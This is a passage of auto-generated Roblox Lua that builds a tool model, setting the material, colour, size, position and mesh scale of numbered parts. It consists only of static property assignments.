- Part265.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh266.Parent = Part265
- BlockMesh266.Offset = Vector3.new(0.180000007, -0.1875, 0)
- BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
- BlockMesh266.Scale = Vector3.new(1.57499993, 0.0749999955, 1)
- Part267.Parent = Tool0
- Part267.Material = Enum.Material.SmoothPlastic
- Part267.BrickColor = BrickColor.new("Brick yellow")
- Part267.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part267.Anchored = true
- Part267.FormFactor = Enum.FormFactor.Custom
- Part267.Size = Vector3.new(0.200000003, 0.200000003, 0.99000001)
- Part267.CFrame = CFrame.new(27.0793457, 1.40722597, 139.761902, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
- Part267.BottomSurface = Enum.SurfaceType.Smooth
- Part267.TopSurface = Enum.SurfaceType.Smooth
- Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part267.Position = Vector3.new(27.0793457, 1.40722597, 139.761902)
- Part267.Orientation = Vector3.new(0, 179.459991, 0)
- Part267.Color = Color3.new(0.843137, 0.772549, 0.603922)
- BlockMesh268.Parent = Part267
- BlockMesh268.Offset = Vector3.new(0, -0.00900000054, 0)
- BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
- BlockMesh268.Scale = Vector3.new(0.75, 0.522000015, 1)
- Part269.Parent = Tool0
- Part269.Material = Enum.Material.SmoothPlastic
- Part269.BrickColor = BrickColor.new("Brick yellow")
- Part269.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part269.Anchored = true
- Part269.FormFactor = Enum.FormFactor.Custom
- Part269.Size = Vector3.new(0.200000003, 0.200000003, 0.816000223)
- Part269.CFrame = CFrame.new(27.0791016, 1.10229504, 139.765137, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
- Part269.BottomSurface = Enum.SurfaceType.Smooth
- Part269.TopSurface = Enum.SurfaceType.Smooth
- Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part269.Position = Vector3.new(27.0791016, 1.10229504, 139.765137)
- Part269.Orientation = Vector3.new(0, 179.459991, 0)
- Part269.Color = Color3.new(0.843137, 0.772549, 0.603922)
- BlockMesh270.Parent = Part269
- BlockMesh270.Offset = Vector3.new(0, 0.0180000011, 0)
- BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
- BlockMesh270.Scale = Vector3.new(0.75, 0.270000011, 1)
- Part271.Parent = Tool0
- Part271.Material = Enum.Material.SmoothPlastic
- Part271.BrickColor = BrickColor.new("Dark stone grey")
- Part271.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part271.Anchored = true
- Part271.FormFactor = Enum.FormFactor.Custom
- Part271.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part271.CFrame = CFrame.new(27.0745831, 1.36328101, 140.272095, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part271.BottomSurface = Enum.SurfaceType.Smooth
- Part271.TopSurface = Enum.SurfaceType.Smooth
- Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part271.Position = Vector3.new(27.0745831, 1.36328101, 140.272095)
- Part271.Orientation = Vector3.new(0, 179.459991, 0)
- Part271.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh272.Parent = Part271
- BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
- BlockMesh272.Scale = Vector3.new(0.299999982, 0.375, 0.299999982)
- Part273.Parent = Tool0
- Part273.Material = Enum.Material.SmoothPlastic
- Part273.BrickColor = BrickColor.new("Really black")
- Part273.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part273.Anchored = true
- Part273.FormFactor = Enum.FormFactor.Custom
- Part273.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part273.CFrame = CFrame.new(27.2612305, 1.336182, 139.553955, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part273.BottomSurface = Enum.SurfaceType.Smooth
- Part273.TopSurface = Enum.SurfaceType.Smooth
- Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part273.Position = Vector3.new(27.2612305, 1.336182, 139.553955)
- Part273.Orientation = Vector3.new(0, 179.459991, 0)
- Part273.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh274.Parent = Part273
- BlockMesh274.Offset = Vector3.new(0.180000007, -0.1875, 0)
- BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
- BlockMesh274.Scale = Vector3.new(1.31249988, 0.0749999955, 1)
- Part275.Parent = Tool0
- Part275.Material = Enum.Material.SmoothPlastic
- Part275.BrickColor = BrickColor.new("Really black")
- Part275.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part275.Anchored = true
- Part275.FormFactor = Enum.FormFactor.Custom
- Part275.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part275.CFrame = CFrame.new(26.9016113, 1.39624, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part275.BottomSurface = Enum.SurfaceType.Smooth
- Part275.TopSurface = Enum.SurfaceType.Smooth
- Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part275.Position = Vector3.new(26.9016113, 1.39624, 139.550354)
- Part275.Orientation = Vector3.new(0, 179.459991, 0)
- Part275.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh276.Parent = Part275
- BlockMesh276.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
- BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
- BlockMesh276.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
- Part277.Parent = Tool0
- Part277.Material = Enum.Material.SmoothPlastic
- Part277.BrickColor = BrickColor.new("Really black")
- Part277.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part277.Anchored = true
- Part277.FormFactor = Enum.FormFactor.Custom
- Part277.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part277.CFrame = CFrame.new(26.8973389, 1.39624, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part277.BottomSurface = Enum.SurfaceType.Smooth
- Part277.TopSurface = Enum.SurfaceType.Smooth
- Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part277.Position = Vector3.new(26.8973389, 1.39624, 139.970337)
- Part277.Orientation = Vector3.new(0, 179.459991, 0)
- Part277.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh278.Parent = Part277
- BlockMesh278.Offset = Vector3.new(-0.180000007, 0.0180000011, 0)
- BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
- BlockMesh278.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
- Part279.Parent = Tool0
- Part279.Material = Enum.Material.SmoothPlastic
- Part279.BrickColor = BrickColor.new("Really black")
- Part279.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part279.Anchored = true
- Part279.FormFactor = Enum.FormFactor.Custom
- Part279.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part279.CFrame = CFrame.new(26.8973389, 1.36621106, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part279.BottomSurface = Enum.SurfaceType.Smooth
- Part279.TopSurface = Enum.SurfaceType.Smooth
- Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part279.Position = Vector3.new(26.8973389, 1.36621106, 139.970337)
- Part279.Orientation = Vector3.new(0, 179.459991, 0)
- Part279.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh280.Parent = Part279
- BlockMesh280.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
- BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
- BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
- Part281.Parent = Tool0
- Part281.Material = Enum.Material.SmoothPlastic
- Part281.BrickColor = BrickColor.new("Dark stone grey")
- Part281.Rotation = Vector3.new(0, 89.4599991, 180)
- Part281.Anchored = true
- Part281.FormFactor = Enum.FormFactor.Custom
- Part281.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part281.CFrame = CFrame.new(27.02771, 1.67529297, 140.148438, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
- Part281.BottomSurface = Enum.SurfaceType.Smooth
- Part281.TopSurface = Enum.SurfaceType.Smooth
- Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part281.Position = Vector3.new(27.02771, 1.67529297, 140.148438)
- Part281.Orientation = Vector3.new(0, 89.4599991, -180)
- Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh282.Parent = Part281
- SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
- SpecialMesh282.MeshType = Enum.MeshType.Wedge
- SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
- Part283.Parent = Tool0
- Part283.Material = Enum.Material.SmoothPlastic
- Part283.BrickColor = BrickColor.new("Really black")
- Part283.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part283.Anchored = true
- Part283.FormFactor = Enum.FormFactor.Custom
- Part283.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part283.CFrame = CFrame.new(26.9016113, 1.336182, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part283.BottomSurface = Enum.SurfaceType.Smooth
- Part283.TopSurface = Enum.SurfaceType.Smooth
- Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part283.Position = Vector3.new(26.9016113, 1.336182, 139.550354)
- Part283.Orientation = Vector3.new(0, 179.459991, 0)
- Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh284.Parent = Part283
- BlockMesh284.Offset = Vector3.new(-0.180000007, 0, 0)
- BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
- BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
- Part285.Parent = Tool0
- Part285.Material = Enum.Material.SmoothPlastic
- Part285.BrickColor = BrickColor.new("Really black")
- Part285.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part285.Anchored = true
- Part285.FormFactor = Enum.FormFactor.Custom
- Part285.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part285.CFrame = CFrame.new(26.9016113, 1.36621106, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part285.BottomSurface = Enum.SurfaceType.Smooth
- Part285.TopSurface = Enum.SurfaceType.Smooth
- Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part285.Position = Vector3.new(26.9016113, 1.36621106, 139.550354)
- Part285.Orientation = Vector3.new(0, 179.459991, 0)
- Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh286.Parent = Part285
- BlockMesh286.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
- BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
- BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
- Part287.Parent = Tool0
- Part287.Material = Enum.Material.SmoothPlastic
- Part287.BrickColor = BrickColor.new("Really black")
- Part287.Rotation = Vector3.new(-180, 0.539999962, -180)
- Part287.Anchored = true
- Part287.FormFactor = Enum.FormFactor.Custom
- Part287.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
- Part287.CFrame = CFrame.new(26.8973389, 1.336182, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
- Part287.BottomSurface = Enum.SurfaceType.Smooth
- Part287.TopSurface = Enum.SurfaceType.Smooth
- Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part287.Position = Vector3.new(26.8973389, 1.336182, 139.970337)
- Part287.Orientation = Vector3.new(0, 179.459991, 0)
- Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh288.Parent = Part287
- BlockMesh288.Offset = Vector3.new(-0.180000007, 0, 0)
- BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
- BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
- Part289.Parent = Tool0
- Part289.Material = Enum.Material.SmoothPlastic
- Part289.BrickColor = BrickColor.new("Dark stone grey")
- Part289.Rotation = Vector3.new(-180, -89.4599991, -180)
- Part289.Anchored = true
- Part289.FormFactor = Enum.FormFactor.Custom
- Part289.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part289.CFrame = CFrame.new(27.0336914, 1.67529297, 140.148499, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
- Part289.BottomSurface = Enum.SurfaceType.Smooth
- Part289.TopSurface = Enum.SurfaceType.Smooth
- Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part289.Position = Vector3.new(27.0336914, 1.67529297, 140.148499)
- Part289.Orientation = Vector3.new(0, -90.5400009, 0)
- Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh290.Parent = Part289
- SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
- SpecialMesh290.MeshType = Enum.MeshType.Wedge
- SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
- Part291.Parent = Tool0
- Part291.Material = Enum.Material.SmoothPlastic
- Part291.BrickColor = BrickColor.new("Dark stone grey")
- Part291.Rotation = Vector3.new(0, 89.4599991, 0)
- Part291.Anchored = true
- Part291.FormFactor = Enum.FormFactor.Custom
- Part291.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part291.CFrame = CFrame.new(27.118042, 1.67529297, 140.149475, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
- Part291.BottomSurface = Enum.SurfaceType.Smooth
- Part291.TopSurface = Enum.SurfaceType.Smooth
- Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part291.Position = Vector3.new(27.118042, 1.67529297, 140.149475)
- Part291.Orientation = Vector3.new(0, 89.4599991, 0)
- Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh292.Parent = Part291
- SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
- SpecialMesh292.MeshType = Enum.MeshType.Wedge
- SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
- Part293.Parent = Tool0
- Part293.Material = Enum.Material.SmoothPlastic
- Part293.BrickColor = BrickColor.new("Dark stone grey")
- Part293.Rotation = Vector3.new(-180, -89.4599991, 0)
- Part293.Anchored = true
- Part293.FormFactor = Enum.FormFactor.Custom
- Part293.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part293.CFrame = CFrame.new(27.1236572, 1.67529297, 140.149292, 0.00939139724, 2.48428307e-07, -0.999955833, 2.35526358e-07, -0.999999821, 2.20843248e-07, -0.999955356, -2.33203508e-07, -0.00939165056)
- Part293.BottomSurface = Enum.SurfaceType.Smooth
- Part293.TopSurface = Enum.SurfaceType.Smooth
- Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part293.Position = Vector3.new(27.1236572, 1.67529297, 140.149292)
- Part293.Orientation = Vector3.new(0, -90.5400009, 180)
- Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh294.Parent = Part293
- SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
- SpecialMesh294.MeshType = Enum.MeshType.Wedge
- SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
- Part295.Parent = Tool0
- Part295.Material = Enum.Material.SmoothPlastic
- Part295.BrickColor = BrickColor.new("Dark stone grey")
- Part295.Rotation = Vector3.new(0, -0.539999962, 0)
- Part295.Anchored = true
- Part295.FormFactor = Enum.FormFactor.Custom
- Part295.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part295.CFrame = CFrame.new(27.0336914, 1.64526403, 140.148499, 0.999955833, 4.35706333e-08, -0.00939139724, -4.37113776e-08, 0.999999821, -1.47811212e-08, 0.00939165056, 1.51909632e-08, 0.999955356)
- Part295.BottomSurface = Enum.SurfaceType.Smooth
- Part295.TopSurface = Enum.SurfaceType.Smooth
- Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part295.Position = Vector3.new(27.0336914, 1.64526403, 140.148499)
- Part295.Orientation = Vector3.new(0, -0.539999962, 0)
- Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh296.Parent = Part295
- BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
- BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
- Part297.Parent = Tool0
- Part297.Material = Enum.Material.SmoothPlastic
- Part297.BrickColor = BrickColor.new("Dark stone grey")
- Part297.Rotation = Vector3.new(0, -0.539999962, 0)
- Part297.Anchored = true
- Part297.FormFactor = Enum.FormFactor.Custom
- Part297.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part297.CFrame = CFrame.new(27.118042, 1.64526403, 140.149475, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
- Part297.BottomSurface = Enum.SurfaceType.Smooth
- Part297.TopSurface = Enum.SurfaceType.Smooth
- Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part297.Position = Vector3.new(27.118042, 1.64526403, 140.149475)
- Part297.Orientation = Vector3.new(0, -0.539999962, 0)
- Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh298.Parent = Part297
- BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
- BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
- Part299.Parent = Tool0
- Part299.Material = Enum.Material.SmoothPlastic
- Part299.BrickColor = BrickColor.new("Dark stone grey")
- Part299.Rotation = Vector3.new(0, -0.539999962, 0)
- Part299.Anchored = true
- Part299.FormFactor = Enum.FormFactor.Custom
- Part299.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part299.CFrame = CFrame.new(27.0756836, 1.66015601, 140.148926, 0.999955833, -1.8716446e-07, -0.00939139724, -1.59576587e-07, 0.999999821, -2.35526358e-07, 0.00939165056, 2.33778906e-07, 0.999955356)
- Part299.BottomSurface = Enum.SurfaceType.Smooth
- Part299.TopSurface = Enum.SurfaceType.Smooth
- Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part299.Position = Vector3.new(27.0756836, 1.66015601, 140.148926)
- Part299.Orientation = Vector3.new(0, -0.539999962, 0)
- Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh300.Parent = Part299
- BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
- BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
- Part301.Parent = Tool0
- Part301.Material = Enum.Material.SmoothPlastic
- Part301.BrickColor = BrickColor.new("Dark stone grey")
- Part301.Rotation = Vector3.new(0, 89.4599991, 0)
- Part301.Anchored = true
- Part301.FormFactor = Enum.FormFactor.Custom
- Part301.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part301.CFrame = CFrame.new(27.069458, 1.66015601, 140.148804, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
- Part301.BottomSurface = Enum.SurfaceType.Smooth
- Part301.TopSurface = Enum.SurfaceType.Smooth
- Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part301.Position = Vector3.new(27.069458, 1.66015601, 140.148804)
- Part301.Orientation = Vector3.new(0, 89.4599991, 0)
- Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh302.Parent = Part301
- SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
- SpecialMesh302.MeshType = Enum.MeshType.Wedge
- SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
- Part303.Parent = Tool0
- Part303.Material = Enum.Material.SmoothPlastic
- Part303.BrickColor = BrickColor.new("Dark stone grey")
- Part303.Rotation = Vector3.new(-180, -89.4599991, 180)
- Part303.Anchored = true
- Part303.FormFactor = Enum.FormFactor.Custom
- Part303.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part303.CFrame = CFrame.new(27.0811768, 1.66015601, 140.149109, -0.00939139724, -2.17796412e-07, -0.999955833, -2.35526358e-07, 0.999999821, 1.90209889e-07, 0.999955356, 2.33491207e-07, -0.00939165056)
- Part303.BottomSurface = Enum.SurfaceType.Smooth
- Part303.TopSurface = Enum.SurfaceType.Smooth
- Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part303.Position = Vector3.new(27.0811768, 1.66015601, 140.149109)
- Part303.Orientation = Vector3.new(0, -90.5400009, 0)
- Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh304.Parent = Part303
- SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
- SpecialMesh304.MeshType = Enum.MeshType.Wedge
- SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
- Part305.Parent = Tool0
- Part305.Material = Enum.Material.SmoothPlastic
- Part305.BrickColor = BrickColor.new("Dark stone grey")
- Part305.Rotation = Vector3.new(0, -0.539999962, 0)
- Part305.Anchored = true
- Part305.FormFactor = Enum.FormFactor.Custom
- Part305.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part305.CFrame = CFrame.new(27.0756836, 1.54028296, 140.148926, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
- Part305.BottomSurface = Enum.SurfaceType.Smooth
- Part305.TopSurface = Enum.SurfaceType.Smooth
- Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part305.Position = Vector3.new(27.0756836, 1.54028296, 140.148926)
- Part305.Orientation = Vector3.new(0, -0.539999962, 0)
- Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh306.Parent = Part305
- BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
- BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
- Part307.Parent = Tool0
- Part307.Material = Enum.Material.SmoothPlastic
- Part307.BrickColor = BrickColor.new("Dark stone grey")
- Part307.Rotation = Vector3.new(0, -0.539999962, 0)
- Part307.Anchored = true
- Part307.FormFactor = Enum.FormFactor.Custom
- Part307.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part307.CFrame = CFrame.new(27.0330811, 1.60620105, 138.321472, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
- Part307.BottomSurface = Enum.SurfaceType.Smooth
- Part307.TopSurface = Enum.SurfaceType.Smooth
- Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part307.Position = Vector3.new(27.0330811, 1.60620105, 138.321472)
- Part307.Orientation = Vector3.new(0, -0.539999962, 0)
- Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh308.Parent = Part307
- BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
- BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
- Part309.Parent = Tool0
- Part309.Material = Enum.Material.SmoothPlastic
- Part309.BrickColor = BrickColor.new("Dark stone grey")
- Part309.Rotation = Vector3.new(0, -0.539999962, 0)
- Part309.Anchored = true
- Part309.FormFactor = Enum.FormFactor.Custom
- Part309.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part309.CFrame = CFrame.new(27.1530762, 1.60620105, 138.323853, 0.999955833, -9.16734137e-08, -0.00939139724, -1.613449e-07, 0.999999821, -4.10036698e-08, 0.00939165056, 4.01372162e-08, 0.999955356)
- Part309.BottomSurface = Enum.SurfaceType.Smooth
- Part309.TopSurface = Enum.SurfaceType.Smooth
- Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part309.Position = Vector3.new(27.1530762, 1.60620105, 138.323853)
- Part309.Orientation = Vector3.new(0, -0.539999962, 0)
- Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh310.Parent = Part309
- BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
- BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
- Part311.Parent = Tool0
- Part311.Material = Enum.Material.SmoothPlastic
- Part311.BrickColor = BrickColor.new("Dark stone grey")
- Part311.Rotation = Vector3.new(0, 89.4599991, -180)
- Part311.Anchored = true
- Part311.FormFactor = Enum.FormFactor.Custom
- Part311.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part311.CFrame = CFrame.new(27.0330811, 1.53710902, 138.321472, -0.00939139724, 9.964117e-08, 0.999955833, 4.65915591e-08, -0.999999583, -1.52554577e-07, 0.999955356, 4.74784869e-08, 0.00939165056)
- Part311.BottomSurface = Enum.SurfaceType.Smooth
- Part311.TopSurface = Enum.SurfaceType.Smooth
- Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part311.Position = Vector3.new(27.0330811, 1.53710902, 138.321472)
- Part311.Orientation = Vector3.new(0, 89.4599991, 180)
- Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh312.Parent = Part311
- SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
- SpecialMesh312.MeshType = Enum.MeshType.Wedge
- SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
- Part313.Parent = Tool0
- Part313.Material = Enum.Material.SmoothPlastic
- Part313.BrickColor = BrickColor.new("Dark stone grey")
- Part313.Rotation = Vector3.new(-180, -89.4599991, 0)
- Part313.Anchored = true
- Part313.FormFactor = Enum.FormFactor.Custom
- Part313.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part313.CFrame = CFrame.new(27.15271, 1.53710902, 138.322876, 0.00939139724, 9.96410279e-08, -0.999955833, -4.65770071e-08, -0.999999702, 1.52554605e-07, -0.999955356, 4.74930104e-08, -0.00939165056)
- Part313.BottomSurface = Enum.SurfaceType.Smooth
- Part313.TopSurface = Enum.SurfaceType.Smooth
- Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part313.Position = Vector3.new(27.15271, 1.53710902, 138.322876)
- Part313.Orientation = Vector3.new(0, -90.5400009, -180)
- Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh314.Parent = Part313
- SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
- SpecialMesh314.MeshType = Enum.MeshType.Wedge
- SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
- Part315.Parent = Tool0
- Part315.Material = Enum.Material.SmoothPlastic
- Part315.BrickColor = BrickColor.new("Dark stone grey")
- Part315.Rotation = Vector3.new(0, -0.539999962, 0)
- Part315.Anchored = true
- Part315.FormFactor = Enum.FormFactor.Custom
- Part315.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part315.CFrame = CFrame.new(27.0926514, 1.51025403, 138.32196, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
- Part315.BottomSurface = Enum.SurfaceType.Smooth
- Part315.TopSurface = Enum.SurfaceType.Smooth
- Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part315.Position = Vector3.new(27.0926514, 1.51025403, 138.32196)
- Part315.Orientation = Vector3.new(0, -0.539999962, 0)
- Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh316.Parent = Part315
- BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
- BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
- Part317.Parent = Tool0
- Part317.Material = Enum.Material.SmoothPlastic
- Part317.Rotation = Vector3.new(90, 0, -89.4599991)
- Part317.Anchored = true
- Part317.FormFactor = Enum.FormFactor.Custom
- Part317.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
